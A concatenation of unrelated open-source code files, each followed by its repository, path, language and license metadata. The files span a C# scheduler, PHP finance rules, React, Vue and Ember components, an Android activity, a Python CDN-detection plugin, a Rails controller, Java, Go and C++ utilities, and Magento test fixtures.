if (offset3 > 0 && offset3 >= offset) { s.PlannedStart += offset; s.PlannedDuration -= offset; } else if (offset3 > 0 && offset3 < offset) { s.PlannedStart += offset3; s.PlannedDuration -= offset3; DoMoveActibityRight(s, offset - offset3, level); } else if (offset3 <= 0 && offset2 < offset && offset - offset2 > 0) { DoMoveActibityRight(s, offset - offset2, level); } } } } } if (act.Index == act.Task.ActivityCount - 1) { LinkedListNode<T> node = _tasks.First; while (node != null) { if (node.Value.TasksRunAfterEnd.Contains(act.Task)) { ScheduleActivity s = node.Value.Activities[0]; if (s != null) { //nextActs[s] = true; int offset2 = s.PlannedStart - start - duration; if (offset2 < offset) { DoMoveActibityRight(s, offset - offset2, level); } } } node = node.Next; } } if (level != 1) { act.PlannedStart += offset; //DoMovePreActivity(act); } else { if (act.Status == Status.Scheduled) { act.PlannedStart += offset; } else { act.PlannedDuration += offset; } } } void MoveActivityRight(ScheduleActivity act, int offset) { DoMoveActibityRight(act, offset); int count = 0; while ((count = DoMoveGap()) > 0) { } DoMoveGapLeft(); } void DoMoveGapLeft() { //前移有空隙的Activity LinkedListNode<T> node = _tasks.First; while (node != null) { ScheduleTask t = node.Value; if (!(t.Status == Status.Scheduled || t.Status == Status.Running)) { node = node.Next; continue; } for (int i = t.Activities.Length - 1; i >=1 ; i--) { ScheduleActivity aNext = t.Activities[i]; if (aNext.Status == Status.Processed || aNext.Status==Status.Cancelled || aNext.Status == Status.Running) { break; } int distance = aNext.PlannedStart - aNext.Previous.PlannedStart - aNext.Previous.PlannedDuration; if (distance <= 0) continue; //前边activity向左延伸 bool canStretch = true; foreach (LinkedListNode<UnitReservation> ur in aNext.UnitReservations) { if (ur.Previous != null) { int d = ur.Value.PlannedStart - ur.Previous.Value.PlannedStart - ur.Previous.Value.PlannedDuration; if (d < distance) canStretch = false; } } if (canStretch) { aNext.PlannedStart -= distance; aNext.PlannedDuration += distance; } else { MoveActivityRight(aNext.Previous, distance); } } node = node.Next; } } int DoMoveGap() { //前移有空隙的Activity LinkedListNode<T> node = _tasks.Last; int movedCount = 0; while (node != null) { ScheduleTask t = node.Value; if (!(t.Status == Status.Scheduled || t.Status == Status.Running)) { node = node.Previous; continue; } for (int i = t.Activities.Length - 2; i >= 0; i--) { ScheduleActivity a = t.Activities[i]; ScheduleActivity aNext = t.Activities[i + 1]; bool canMove = true; if (a.Status == Status.Processed || a.Status==Status.Cancelled) { break; } int distance = aNext.PlannedStart - a.PlannedStart - a.PlannedDuration; if (distance <= 0) continue; foreach (LinkedListNode<UnitReservation> ur in a.UnitReservations) { if (ur.Next != null) { int d = ur.Next.Value.PlannedStart - ur.Value.PlannedDuration - ur.Value.PlannedStart; if (d < distance) distance = d; } } if (distance <= 0) continue; if (a.Status == Status.Running) { a.PlannedDuration += distance; movedCount++; } else if (canMove) { a.PlannedStart += distance; movedCount++; } } node = node.Previous; } return movedCount; } bool CheckConflict(string desc) { return false; bool ok = true; foreach (ScheduleResource res in _resources) { for (int i = 0; i < res.Count; i++) { UnitReservations ur = res.GetReservationsForUnit(i); LinkedListNode<UnitReservation> node = ur.First; while (node != null) { if (node.Next != null) { if(ScheduleResource.IsIntersct2(node.Value.PlannedStart, node.Value.PlannedDuration+node.Value.PlannedStart, node.Next.Value.PlannedStart, node.Next.Value.PlannedStart+node.Next.Value.PlannedDuration)){ ScheduleActivity a = node.Value.Activity; ScheduleActivity aNext = node.Next.Value.Activity; MessageBox.Show(string.Format("activity {0}/{1} {4}-{5} and {2}/{3} {6}-{7} conflict", a.Name, a.Task.ID, aNext.Name, aNext.Task.ID, a.PlannedStart, a.PlannedDuration, aNext.PlannedStart, aNext.PlannedDuration),desc); ok = false; } } node = node.Next; } } } return !ok; } public void Lock() { Monitor.Enter(_tasks); } public void Unlock() { Monitor.Exit(_tasks); } } }
weihuajiang/SchedulerEngineDotNet
SchedulerLib/definition/Scheduler.cs
C#
mit
53,715
<?php declare(strict_types = 1); /** * TransactionType.php * Copyright (C) 2016 thegrumpydictator@gmail.com * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace FireflyIII\Rules\Triggers; use FireflyIII\Models\TransactionJournal; /** * Class TransactionType * * @package FireflyIII\Rules\Triggers */ final class TransactionType extends AbstractTrigger implements TriggerInterface { /** * A trigger is said to "match anything", or match any given transaction, * when the trigger value is very vague or has no restrictions. Easy examples * are the "AmountMore"-trigger combined with an amount of 0: any given transaction * has an amount of more than zero! Other examples are all the "Description"-triggers * which have hard time handling empty trigger values such as "" or "*" (wild cards). * * If the user tries to create such a trigger, this method MUST return true so Firefly III * can stop the storing / updating the trigger. If the trigger is in any way restrictive * (even if it will still include 99.9% of the users transactions), this method MUST return * false. * * @param null $value * * @return bool */ public static function willMatchEverything($value = null) { if (!is_null($value)) { return false; } return true; } /** * @param TransactionJournal $journal * * @return bool */ public function triggered(TransactionJournal $journal): bool { $type = !is_null($journal->transaction_type_type) ? $journal->transaction_type_type : strtolower($journal->transactionType->type); $search = strtolower($this->triggerValue); if ($type == $search) { return true; } return false; } }
tonicospinelli/firefly-iii
app/Rules/Triggers/TransactionType.php
PHP
mit
1,900
<?php return [ 'mandrill' => [ 'secret' => $_ENV['MANDRILL_SECRET'] ] ];
BRANDTELIER/reyes
app/config/services.php
PHP
mit
78
import React, {Component, PropTypes} from 'react'; import * as actions from './ForumAction'; import ForumPage from './ForumPage'; class ForumContainer extends Component { constructor(props) { super(props); this.state = { questions: [] }; this.postQuestion = this.postQuestion.bind(this); } postQuestion(model) { actions.postQuestion(model).then(response => { const questions = this.state.questions.concat([response]); this.setState({questions}); }); } componentDidMount() { actions.getQuestions().then(response => { this.setState({questions: response}); }); } render() { return <ForumPage {...this.state} postQuestion={this.postQuestion}/>; } } export default ForumContainer;
JSVillage/military-families-backend
client/components/forum/ForumContainer.js
JavaScript
mit
830
/* Copyright (c) 2015 Sai Jayanthi This source file is licensed under the "MIT license". Please see the file COPYING in this distribution for license terms. */ /* This program provides the functionality to implement sound and swipe features for Colors activity */ package projects.oss2015.cs.fundookid; import android.content.Intent; import android.media.MediaPlayer; import android.support.v7.app.ActionBarActivity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.view.MotionEvent; import android.view.View; import android.widget.Toast; public class Colors extends ActionBarActivity { public static MediaPlayer mpCheer,mpAww,mpBlueHat; float x1,x2,y1,y2; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_colors); mpCheer= MediaPlayer.create(this, R.raw.cheering); mpAww= MediaPlayer.create(this, R.raw.aww); mpBlueHat=MediaPlayer.create(this,R.raw.bluehat); mpBlueHat.start(); } public boolean onTouchEvent(MotionEvent touchevent) { switch (touchevent.getAction()) { case MotionEvent.ACTION_DOWN: { x1 = touchevent.getX(); y1 = touchevent.getY(); break; } case MotionEvent.ACTION_UP: { x2 = touchevent.getX(); y2 = touchevent.getY(); //if left to right swipe event on screen if (x1 < x2) { if(mpCheer.isPlaying()) mpCheer.stop(); Intent i = new Intent(this,MainActivity.class); startActivity(i); } //if right to left swipe event on screen if (x1 > x2) { if(mpCheer.isPlaying()) mpCheer.stop(); Intent i = new Intent(this,Shoes.class); startActivity(i); } break; } } return false; } public void onClickBlueHat(View view){ if(mpAww.isPlaying() || mpAww.isLooping()) { mpAww.stop(); mpAww= MediaPlayer.create(this, R.raw.aww); } mpCheer.start(); } public void onClickRedHat(View view){ if(mpCheer.isPlaying() || mpCheer.isLooping()) { mpCheer.stop(); mpCheer= MediaPlayer.create(this, R.raw.cheering); } mpAww.start(); } public void onClickYellowHat(View view){ if(mpCheer.isPlaying() || mpCheer.isLooping()) { mpCheer.stop(); mpCheer= MediaPlayer.create(this, R.raw.cheering); } mpAww.start(); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.menu_colors, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); //noinspection SimplifiableIfStatement if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } }
saipjayanthi23/Fundoo-Tots
app/src/main/java/projects/oss2015/cs/fundookid/Colors.java
Java
mit
3,586
((bbn)=>{let script=document.createElement('script');script.innerHTML=`<div :class="['bbn-iblock', componentClass]"> <input class="bbn-hidden" ref="element" :value="modelValue" :disabled="disabled" :required="required" > <div :style="getStyle()"> <div v-for="(d, idx) in source" :class="{ 'bbn-iblock': !vertical, 'bbn-right-space': !vertical && !separator && source[idx+1], 'bbn-bottom-sspace': !!vertical && !separator && source[idx+1] }" > <input :value="d[sourceValue]" :name="name" class="bbn-radio" type="radio" :disabled="disabled || d.disabled" :required="required" :id="id + '_' + idx" @change="changed(d[sourceValue], d, $event)" :checked="d[sourceValue] === modelValue" > <label class="bbn-radio-label bbn-iflex bbn-vmiddle" :for="id + '_' + idx" > <span class="bbn-left-sspace" v-html="render ? render(d) : d[sourceText]" ></span> </label> <br v-if="!vertical && step && ((idx+1) % step === 0)"> <div v-if="(source[idx+1] !== undefined) && !!separator" :class="{ 'bbn-w-100': vertical, 'bbn-iblock': !vertical }" v-html="separator" ></div> </div> </div> </div>`;script.setAttribute('id','bbn-tpl-component-radio');script.setAttribute('type','text/x-template');document.body.insertAdjacentElement('beforeend',script);(function(bbn){"use strict";Vue.component('bbn-radio',{mixins:[bbn.vue.basicComponent,bbn.vue.inputComponent,bbn.vue.localStorageComponent,bbn.vue.eventsComponent],props:{separator:{type:String},vertical:{type:Boolean,default:false},step:{type:Number},id:{type:String,default(){return bbn.fn.randomString(10,25);}},render:{type:Function},sourceText:{type:String,default:'text'},sourceValue:{type:String,default:'value'},source:{type:Array,default(){return[{text:bbn._("Yes"),value:1},{text:bbn._("No"),value:0}];}},modelValue:{type:[String,Boolean,Number],default:undefined}},model:{prop:'modelValue',event:'input'},methods:{changed(val,d,e){this.$emit('input',val);this.$emit('change',val,d,e);},getStyle(){if(this.step&&!this.vertical){return'display: grid; grid-template-columns: '+'auto '.repeat(this.step)+';';} else{return'';}}},beforeMount(){if(this.hasStorage){let v=this.getStorage();if(v&&(v!==this.modelValue)){this.changed(v);}}},watch:{modelValue(v){if(this.storage){if(v){this.setStorage(v);} else{this.unsetStorage()}}},}});})(bbn);})(bbn);
nabab/bbn-vue
dist/js_single_files/components/radio/radio.min.js
JavaScript
mit
2,648
#!/usr/bin/env python from __future__ import print_function import sys import re from utils import CDNEngine from utils import request if sys.version_info >= (3, 0): import subprocess as commands import urllib.parse as urlparse else: import commands import urlparse def detect(hostname): """ Performs CDN detection thanks to information disclosure from server error. Parameters ---------- hostname : str Hostname to assess """ print('[+] Error server detection\n') hostname = urlparse.urlparse(hostname).netloc regexp = re.compile('\\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\\b') out = commands.getoutput("host " + hostname) addresses = regexp.finditer(out) for addr in addresses: res = request.do('http://' + addr.group()) if res is not None and res.status_code == 500: CDNEngine.find(res.text.lower())
Nitr4x/whichCDN
plugins/ErrorServerDetection/behaviors.py
Python
mit
907
class BookingsController < ApplicationController respond_to :html, :json before_action :find_booking, except: [:create, :index] def index @bookings = Booking.current.order(:starts_at) respond_with @bookings end def new @booking = Booking.new end def create @booking = Booking.new(booking_params) if @booking.save if request.xhr? render json: {status: :success}.to_json else redirect_to bookings_url end else if request.xhr? render json: {errors: @booking.errors.full_messages, status: :error}.to_json else render 'new' end end end def show @booking = Booking.find(params[:id]) respond_with @bookings end def destroy if @booking.destroy flash[:notice] = "Booking: #{@booking} deleted" redirect_to bookings_url else render 'index' end end def edit end def update if @booking.update(booking_params) flash[:notice] = 'Your booking was updated successfully' if request.xhr? render json: {status: :success}.to_json else redirect_to bookings_url end else if request.xhr? render json: {errors: @booking.errors.full_messages, status: :error}.to_json else render 'edit' end end end private def booking_params params[:booking].permit! end def find_booking @booking = Booking.find(params[:id]) end end
codenamev/bookings
lib/bookings/generators/templates/bookings_controller.rb
Ruby
mit
1,474
package edacc.parameterspace.domain; import java.util.LinkedList; import java.util.List; import java.util.Random; @SuppressWarnings("serial") public class IntegerDomain extends Domain { protected Integer low, high; public static final String name = "Integer"; @SuppressWarnings("unused") private IntegerDomain() { } public IntegerDomain(Integer low, Integer high) { this.low = low; this.high = high; } @Override public boolean contains(Object value) { if (!(value instanceof Number)) return false; double d = ((Number)value).doubleValue(); if (d != Math.round(d)) return false; return d >= this.low && d <= this.high; } @Override public Object randomValue(Random rng) { return rng.nextInt(this.high - this.low + 1) + this.low; } @Override public String toString() { return "[" + this.low + "," + this.high + "]"; } public Integer getLow() { return low; } public void setLow(Integer low) { this.low = low; } public Integer getHigh() { return high; } public void setHigh(Integer high) { this.high = high; } @Override public Object mutatedValue(Random rng, Object value) { return mutatedValue(rng, value, 0.1f); } @Override public Object mutatedValue(Random rng, Object value, float stdDevFactor) { if (!contains(value)) return value; double r = rng.nextGaussian() * ((high - low) * stdDevFactor); return (int) Math.min(Math.max(this.low, Math.round(((Number)value).doubleValue() + r)), this.high); } @Override public List<Object> getDiscreteValues() { List<Object> values = new LinkedList<Object>(); for (int i = this.low; i <= this.high; i++) { values.add(i); } return values; } @Override public String getName() { return name; } @Override public List<Object> getGaussianDiscreteValues(Random rng, Object value, float stdDevFactor, int numberSamples) { if (numberSamples == 1) { List<Object> singleVals = new LinkedList<Object>(); singleVals.add(mutatedValue(rng, value, stdDevFactor)); return singleVals; } if (numberSamples >= (high - low + 1)) { return getDiscreteValues(); } List<Object> vals = new LinkedList<Object>(); for (int i = 0; i < numberSamples; i++) { if (vals.size() == high - low + 1) break; // sampled all possible values Object val = null; int tries = 0; while ((val == null || vals.contains(val)) && tries++ < (high - low + 1)) { val = mutatedValue(rng, value, stdDevFactor); } vals.add(mutatedValue(rng, value, stdDevFactor)); } return vals; } @Override public List<Object> getUniformDistributedValues(int numberSamples) { if (numberSamples >= (high - low + 1)) { return getDiscreteValues(); } List<Object> vals = new LinkedList<Object>(); double dist = (high - low) / (double) (numberSamples-1); double cur = low; for (int i = 0; i < numberSamples; i++) { if (vals.size() == high - low + 1) break; vals.add(new Integer((int) Math.round(cur))); cur += dist; } return vals; } @Override public Object getMidValueOrNull(Object o1, Object o2) { if (!(o1 instanceof Integer) || !(o2 instanceof Integer)) { return null; } Integer i1 = (Integer)o1; Integer i2 = (Integer)o2; Integer mid = (i1 + i2) / 2; if (i1.equals(mid) || i2.equals(mid)) { return null; } return mid; } }
EDACC/edacc_api
src/edacc/parameterspace/domain/IntegerDomain.java
Java
mit
3,522
import {StringUtils} from "../node_modules/igv-utils/src/index.js" class Locus { constructor({chr, start, end}) { this.chr = chr this.start = start this.end = end } contains(locus) { return locus.chr === this.chr && locus.start >= this.start && locus.end <= this.end } overlaps(locus) { return locus.chr === this.chr && !(locus.end < this.start || locus.start > this.end) } extend(l) { if (l.chr !== this.chr) return this.start = Math.min(l.start, this.start) this.end = Math.max(l.end, this.end) } getLocusString() { if ('all' === this.chr) { return 'all' } else { const ss = StringUtils.numberFormatter(Math.floor(this.start) + 1) const ee = StringUtils.numberFormatter(Math.round(this.end)) return `${this.chr}:${ss}-${ee}` } } static fromLocusString(str) { if ('all' === str) { return new Locus({chr: 'all'}) } const parts = str.split(':') const chr = parts[0] const se = parts[1].split("-") const start = Number.parseInt(se[0].replace(/,/g, "")) - 1 const end = Number.parseInt(se[1].replace(/,/g, "")) return new Locus({chr, start, end}) } } export default Locus
igvteam/igv.js
js/locus.js
JavaScript
mit
1,337
using MonoGame.Extended.BitmapFonts; using System; using System.Collections.Generic; using System.Text; namespace XmasHell.Extensions { public static class StringExtension { public static List<String> FormatBoxString(String text, int width, BitmapFont font) { var strings = new List<String>(); var currentString = ""; foreach (var letter in text) { if (letter.Equals(' ')) { if (font.MeasureString(currentString).Width >= width) { strings.Add(currentString); currentString = ""; continue; } } currentString += letter; } if (currentString.Length > 0) strings.Add(currentString); return strings; } } }
Noxalus/Xmas-Hell
Xmas-Hell/Xmas-Hell-Core/Extensions/StringExtension.cs
C#
mit
940
<?php $sectionName ="About Us"; $pageTitle = "Who We Are"; $bodyCss = "about page page-simple"; ?> <?php include "_header.php"; ?> <div class="container"> <!-- <ol class="breadcrumb"> <li><a href="/">Home</a></li> <li><a href="/about-us/"><?php echo $sectionName; ?></a></li> <li class="active"><?php echo $pageTitle; ?></li> </ol> --> <article class="entry"> <header class="entry-header" role="banner"> <h1><?php echo $pageTitle; ?></h1> </header> <section class="main" role="main"> <img src="http://placehold.it/1400x500" alt="" class="img-responsive" /> <h2>First, Why We Do What We Do . . . </h2> <p>Women have been bombarded with conflicting and overwhelming messages about what it means to be a woman. Climb the corporate ladder. Lose weight. Take the kids to soccer practice and ballet and piano lessons and art classes. Grocery shop. Eat healthy. Dress sexy. Go to church. Dress modestly. Volunteer at the homeless shelter. Maintain hundreds of relationships on social networking sites. Keep the house spotless. Be a great wife. Buy more gadgets to make life easier. Love the kids. Have a daily quiet time. Get another degree. Oh, yeah, and enjoy life!</p> <p>Is it any wonder that women are stressed out, depressed, angry, guilty, fearful . . . numb?</p> <h2>Welcome to Revive Our Hearts!</h2> <p>Welcome to the ministry of&nbsp;<em>Revive Our Hearts</em>&nbsp;with teacher and host <a href="http://reviveourhearts.com/about-us/nancy-leigh-demoss/">Nancy Leigh DeMoss</a>. When asked what the most urgent need among women is today, Nancy says,</p> </section> <aside> <h3 class="section-name"><?php echo $sectionName; ?></h3> <ul class="nav nav-stacked"> <li class="inactive"> <a href="/about-us/nancy-leigh-demoss/">Nancy Leigh DeMoss</a> <ul style="display: none;"> <li class="nancy-interview one inactive"><a href= "/about-us/nancy-leigh-demoss/nancy-interview/">An Interview with Nancy</a></li> <li class="speaking two inactive"><a href= "/about-us/nancy-leigh-demoss/speaking/">Invitations for Nancy's Endorsement</a></li> <li class="invitations-nancy-speak three inactive"><a href= "/about-us/nancy-leigh-demoss/invitations-nancy-speak/">Invitations for Nancy to Speak</a></li> </ul> </li> <li class="who-we-are two active"><a href="/about-us/who-we-are/">Who We Are</a></li> <li class="revive-our-hearts-speakers three inactive"><a href= "/about-us/revive-our-hearts-speakers/">Revive Our Hearts Speakers</a></li> <li class="ministry-video four inactive"><a href= "http://www.reviveourhearts.com/tenth-anniversary/">Celebrating Ten Years of Ministry</a></li> <li class="opportunities-to-serve five inactive"><a href= "/about-us/opportunities-to-serve/">Opportunities to Serve</a></li> <li class="statement-of-faith six inactive"><a href= "/about-us/statement-of-faith/">Statement of Faith</a></li> <li class="endorsements seven inactive"><a href= "/about-us/endorsements/">Endorsements</a></li> <li class="changed-lives eight inactive"><a href="/about-us/changed-lives/">Changed Lives</a></li> <li class="frequently-asked-questions nine inactive"><a href= "http://www.reviveourhearts.com/resource-library/frequently-asked-questions/">Frequently Asked Questions (FAQ)</a></li> <li class="advisory-board 10 inactive"><a href="/about-us/advisory-board/">Advisory Board</a></li> </ul> </aside> </article> </div> <?php include "_footer.php"; ?>
rohm/reviveourhearts_com_redesign
about-who-we-are.php
PHP
mit
3,597
require 'test/unit/testcase' require 'assert_microformats' Test::Unit::TestCase.send :include, AssertMicroformats
georgebrock/assert-microformats
rails/init.rb
Ruby
mit
115
// // File: Math.cpp // Author: John Barbero Unenge // Date: 10/11/12. // // Copyright (c) 2012 Catch22. All rights reserved. // // All code is my own except where credited to others. // // License: The following code is licensed under the Catch22-License // #include "Math.hpp" #include <math.h> Vector2d* Math::generateUnitVectorOf(Vector2d* vector) { if (vector == 0 || (vector->m_x == 0 && vector->m_y == 0)) { return new Vector2d(0.0,0.0); } float scalar = sqrtf((vector->m_x * vector->m_x) + (vector->m_y * vector->m_y)); Vector2d* returnVector = new Vector2d(vector->m_x/scalar, vector->m_y/scalar); return returnVector; } double Math::abs(double value) { return value > 0 ? value : -1 * value; }
JBarberU/CatchLib
src/Math/Math.cpp
C++
mit
761
import Ember from 'ember'; import layout from './template'; export default Ember.Component.extend({ layout: layout, classNames: ['kit-canvas-scroller'], canvasStyle: Ember.computed('parentView.canvasStyle', function() { return this.get('parentView').get('canvasStyle'); }), numberOfItems: Ember.computed('parentView', function() { return this.$('.kit-canvas-content').children().length; }), willInsertElement: Ember.on('willInsertElement', function() { this.get('parentView').set('scroller', this); }), });
dpostigo/ember-cli-kit
addon/components/kit-canvas-scroller/component.js
JavaScript
mit
525
package main import ( "fmt" "net/http" "log" "strconv" "github.com/stvndall/languagetechstats/src/go/services/factors" "github.com/gorilla/mux" ) func main(){ router := mux.NewRouter().StrictSlash(true) router.HandleFunc("/{numbers}", factorise) log.Fatal(http.ListenAndServe(":2500", router)) } func factorise(w http.ResponseWriter, r *http.Request) { number, err := strconv.Atoi(mux.Vars(r)["numbers"]) if(err != nil){ fmt.Fprintf(w,"%v",err) return } fmt.Fprintf(w, "%v",factors.PrimeFactors(number) ) }
stvndall/LanguageTechStats
src/go/http/factorsSvr/factorssvr.go
GO
mit
525
/* The parser for parsing US's date format that begin with month's name. EX. - January 13 - January 13, 2012 - January 13 - 15, 2012 - Tuesday, January 13, 2012 */ var moment = require('moment'); require('moment-timezone'); var Parser = require('../parser').Parser; var ParsedResult = require('../../result').ParsedResult; var DAYS_OFFSET = { 'sunday': 0, 'sun': 0, 'monday': 1, 'mon': 1,'tuesday': 2, 'tue':2, 'wednesday': 3, 'wed': 3, 'thursday': 4, 'thur': 4, 'thu': 4,'friday': 5, 'fri': 5,'saturday': 6, 'sat': 6,} var regFullPattern = /(\W|^)((Sunday|Monday|Tuesday|Wednesday|Thursday|Friday|Saturday|Sun|Mon|Tue|Wed|Thu|Fri|Sat)\s*,?\s*)?(Jan|January|Feb|February|Mar|March|Apr|April|May|Jun|June|Jul|July|Aug|August|Sep|September|Oct|October|Nov|November|Dec|December)\s*(([0-9]{1,2})(st|nd|rd|th)?\s*(to|\-)\s*)?([0-9]{1,2})(st|nd|rd|th)?(,)?(\s*[0-9]{4})(\s*BE)?(\W|$)/i; var regShortPattern = /(\W|^)((Sunday|Monday|Tuesday|Wednesday|Thursday|Friday|Saturday|Sun|Mon|Tue|Wed|Thu|Fri|Sat)\s*,?\s*)?(Jan|January|Feb|February|Mar|March|Apr|April|May|Jun|June|Jul|July|Aug|August|Sep|September|Oct|October|Nov|November|Dec|December)\s*(([0-9]{1,2})(st|nd|rd|th)?\s*(to|\-)\s*)?([0-9]{1,2})(st|nd|rd|th)?([^0-9]|$)/i; exports.Parser = function ENMonthNameMiddleEndianParser(){ Parser.call(this); this.pattern = function() { return regShortPattern; } this.extract = function(text, ref, match, opt){ var result = new ParsedResult(); var impliedComponents = []; var date = null; var originalText = ''; var index = match.index; text = text.substr(index); var match = text.match(regFullPattern); if(match && text.indexOf(match[0]) == 0){ var text = match[0]; text = text.substring(match[1].length, match[0].length - match[14].length); index = index + match[1].length; originalText = text; text = text.replace(match[2], ''); text = text.replace(match[4], match[4]+' '); if(match[5]) text = text.replace(match[5],''); if(match[10]) text = text.replace(match[10],''); if(match[11]) text = text.replace(',',' '); if(match[13]){ var years = match[12]; years = ' ' + (parseInt(years) - 543); text = text.replace(match[13], ''); text = text.replace(match[12], years); } text = text.replace(match[9],parseInt(match[9])+''); date = moment(text,'MMMM DD YYYY'); if(!date) return null; result.start.assign('day', date.date()); result.start.assign('month', date.month() + 1); result.start.assign('year', date.year()); } else { match = text.match(regShortPattern); if(!match) return null; //Short Pattern (without years) var text = match[0]; text = text.substring(match[1].length, match[0].length - match[11].length); index = index + match[1].length; originalText = text; text = text.replace(match[2], ''); text = text.replace(match[4], match[4]+' '); if(match[4]) text = text.replace(match[5],''); date = moment(text,'MMMM DD'); if(!date) return null; //Find the most appropriated year impliedComponents.push('year') date.year(moment(ref).year()); var nextYear = date.clone().add(1, 'year'); var lastYear = date.clone().add(-1, 'year'); if( Math.abs(nextYear.diff(moment(ref))) < Math.abs(date.diff(moment(ref))) ){ date = nextYear; } else if( Math.abs(lastYear.diff(moment(ref))) < Math.abs(date.diff(moment(ref))) ){ date = lastYear; } result.start.assign('day', date.date()); result.start.assign('month', date.month() + 1); result.start.imply('year', date.year()); } //Day of week if(match[3]) { result.start.assign('weekday', DAYS_OFFSET[match[3].toLowerCase()]); } if (match[5]) { var endDay = parseInt(match[9]); var startDay = parseInt(match[6]); result.end = result.start.clone(); result.start.assign('day', startDay); result.end.assign('day', endDay); var endDate = date.clone(); date.date(startDay); endDate.date(endDay); } result.index = index; result.text = originalText; result.ref = ref; result.tags['ENMonthNameMiddleEndianParser'] = true; return result; } }
trever/chrono
src/parsers/EN/ENMonthNameMiddleEndianParser.js
JavaScript
mit
4,981
#include <iostream> #include "ringo.hpp" void ringo () { std::cout << "and Ringo" << std::endl; }
CajetanP/code-learning
Build Systems/CommandLine/HelloBeatles/src/georgeringo/ringo.cpp
C++
mit
101
using System; using System.Collections.Generic; namespace TranscendenceChat.ServerClient.Entities.Ws.Requests { public class MessageSeenStatusAcknowledgeRequest : BaseRequest { public List<Guid> Messages { get; set; } } }
tamifist/Transcendence
TranscendenceChat.ServerClient/Ws/Requests/MessageSeenStatusAcknowledgeRequest.cs
C#
mit
245
<?php /** * Magento * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@magento.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade Magento to newer * versions in the future. If you wish to customize Magento for your * needs please refer to http://www.magento.com for more information. * * @category Tests * @package Tests_Functional * @copyright Copyright (c) 2006-2019 Magento, Inc. (http://www.magento.com) * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) */ namespace Mage\Adminhtml\Test\Fixture\StoreGroup; use Magento\Mtf\Fixture\FixtureFactory; use Magento\Mtf\Fixture\FixtureInterface; use Mage\Catalog\Test\Fixture\CatalogCategory; /** * Prepare CategoryId for Store Group. */ class CategoryId implements FixtureInterface { /** * Prepared dataset data. * * @var array */ protected $data; /** * Data set configuration settings. * * @var array */ protected $params; /** * CatalogCategory fixture. * * @var CatalogCategory */ protected $category; /** * @constructor * @param FixtureFactory $fixtureFactory * @param array $params * @param array $data [optional] */ public function __construct(FixtureFactory $fixtureFactory, array $params, array $data = []) { $this->params = $params; if (isset($data['category'])) { $this->category = $data['category']; $this->data = $data['category']->getName(); } elseif (isset($data['dataset'])) { $category = $fixtureFactory->createByCode('catalogCategory', ['dataset' => $data['dataset']]); /** @var CatalogCategory $category */ if (!$category->getId()) { $category->persist(); } $this->category = $category; $this->data = $category->getName(); } } /** * Persist attribute options. * * @return void */ public function persist() { // } /** * Return prepared data set. * * @param string|null $key [optional] * @return mixed * * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ public function getData($key = null) { return $this->data; } /** * Return data set configuration settings. * * @return array */ public function getDataConfig() { return $this->params; } /** * Return CatalogCategory fixture. * * @return CatalogCategory */ public function getCategory() { return $this->category; } }
portchris/NaturalRemedyCompany
src/dev/tests/functional/tests/app/Mage/Adminhtml/Test/Fixture/StoreGroup/CategoryId.php
PHP
mit
3,093
'use strict'; import React, {PureComponent} from 'react'; import {StyleSheet, View, Text} from 'react-native'; import withMaterialTheme from './styles/withMaterialTheme'; import {withMeasurementForwarding} from './util'; import * as typo from './styles/typo'; import shades from './styles/shades'; /** * Section heading */ class Subheader extends PureComponent { static defaultProps = { inset: false, lines: 1, }; render() { const { materialTheme, style, textStyle, inset, text, lines, secondary, color: colorOverride, dark, light, ...textProps } = this.props; let color; if ( colorOverride ) { color = colorOverride; } else if ( dark || light ) { const theme = dark ? 'dark' : 'light'; if ( secondary ) color = shades[theme].secondaryText; else color = shades[theme].primaryText; } else { if ( secondary ) color = materialTheme.text.secondaryColor; else color = materialTheme.text.primaryColor; } return ( <View ref={this._setMeasureRef} style={[ styles.container, inset && styles.inset, style, styles.containerOverrides ]}> <Text {...textProps} numberOfLines={lines} style={[ styles.text, textStyle, {color} ]}> {text} </Text> </View> ); } } export default withMaterialTheme(withMeasurementForwarding(Subheader)); const styles = StyleSheet.create({ container: { height: 48, paddingHorizontal: 16, }, containerOverrides: { flexDirection: 'row', alignItems: 'center', }, inset: { paddingRight: 16, paddingLeft: 72, }, text: { ...typo.fontMedium, fontSize: 14, }, });
material-native/material-native
src/Subheader.js
JavaScript
mit
1,665
public class TestSea6Task1 { public static void main(String[] args) { String text = "Sun is shining. Today is a good day for test. Sun is shining. The students are happy. The birds are blue."; int indexSent = -1; int lengthSen = 0; int counterSen = 0; int indexLast = 0; int maxLengthSen = 0; for (int i = 0; i < text.length(); i++) { if (text.charAt(i) >= 'A' && text.charAt(i) <= 'Z') { counterSen++; lengthSen = i - indexLast; indexLast = i; } if (i == text.length() - 1) { lengthSen = text.length() - 1 - indexLast; } if (maxLengthSen < lengthSen) { maxLengthSen = lengthSen; indexSent = indexLast - maxLengthSen; } } String sentence = text.substring(indexSent, indexSent + maxLengthSen); System.out.println(sentence); System.out.println(counterSen); } }
marmotka/Java-Exercises-Basics
Tests/src/TestSea6Task1.java
Java
mit
831
interface Foo extends stdClass { /** * @var string */ const FOO = 'theValue'; /** * @var string */ const BAR = 'theOtherValue'; /** * @var int */ /** * @var bool */ /** * This method is very useful * @date 2012-03-01 * @return mixed */ public function getMyValue($asString = true, $unusedParameter); /** * This method is very useless * @date 2012-03-01 * @return void */ public function uselessMethod($uselessParameter = null, $unusedParameter): void; }
WsdlToPhp/PhpGenerator
tests/resources/PhpInterfaceTest_SimpleToStringWithReturnType.php
PHP
mit
573
